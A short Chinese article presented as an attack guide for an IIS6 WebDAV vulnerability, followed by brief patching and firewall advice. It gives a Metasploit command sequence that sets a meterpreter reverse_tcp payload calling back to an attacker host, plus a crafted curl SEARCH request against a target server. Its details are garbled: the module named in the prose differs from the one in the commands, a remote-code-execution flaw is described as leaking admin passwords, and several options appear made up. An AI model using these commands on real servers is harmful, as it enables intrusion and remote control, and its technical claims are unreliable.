微软IIS6漏洞：服务器敏感信息易被窃

微软IIS6漏洞攻略

漏洞描述及影响

微软IIS6存在漏洞，攻击者可以利用这个漏洞获取服务器敏感信息，例如管理员账户名、密码以及服务器配置等敏感信息，从而危及服务器的安全。该漏洞已经被公开披露，并命名为“IIS6-WebDAV-RCE”。该漏洞可能影响大量使用IIS6的Web服务器，特别是那些没有及时升级补丁的系统。

攻击步骤

攻击者可以通过以下步骤进行攻击：

1. 扫描目标系统是否存在漏洞，可以使用公开的漏洞扫描器或手工扫描。
2. 在确认存在漏洞的情况下，攻击者需要构造攻击请求，并发送给目标服务器。
3. 目标服务器接收到攻击请求，漏洞会被利用，攻击者可以获取敏感信息。

示例说明

示例1

攻击者使用Metasploit工具对目标服务器进行攻击。攻击者利用公开的漏洞利用模块webdav_nodav_chunked向目标服务器发送经过精心构造的攻击请求，以获取管理员账户名和密码。

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set TARGETURI /sample/test.asp
set RHOSTS 192.168.1.1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
set USERNAME username
set PASSWORD password
set FILENAME meterpreter.abc
set URIPATH /meterpreter.abc
exploit

通过该攻击方法，攻击者可以获取到目标服务器的管理员账户名和密码，并且可以使用这些账户权限获取更多的敏感信息。

示例2

攻击者手动构造攻击请求，向目标服务器发送特定的HTTP请求头数据包。攻击者使用以下命令向目标服务器发送攻击请求：

curl -v -X SEARCH -H "Translate: f" -H "If-None-Match: a" -H "Content-Type: application/x-www-form-urlencoded" -H "Content-Length: 10485760" -d @file.ext http://target.com

通过上述攻击方法，攻击者可以利用漏洞获取到目标服务器的敏感信息。

防御措施

为了防止IIS6漏洞攻击，以下措施可能有所帮助：

1. 及时对服务器和软件进行补丁升级，确保漏洞已得到修补。
2. 限制WebDav服务的使用，并对服务器的权限进行安全设置。
3. 在Web服务器上安装并启用网络防火墙，防止不可信来源的攻击数据包进入网络。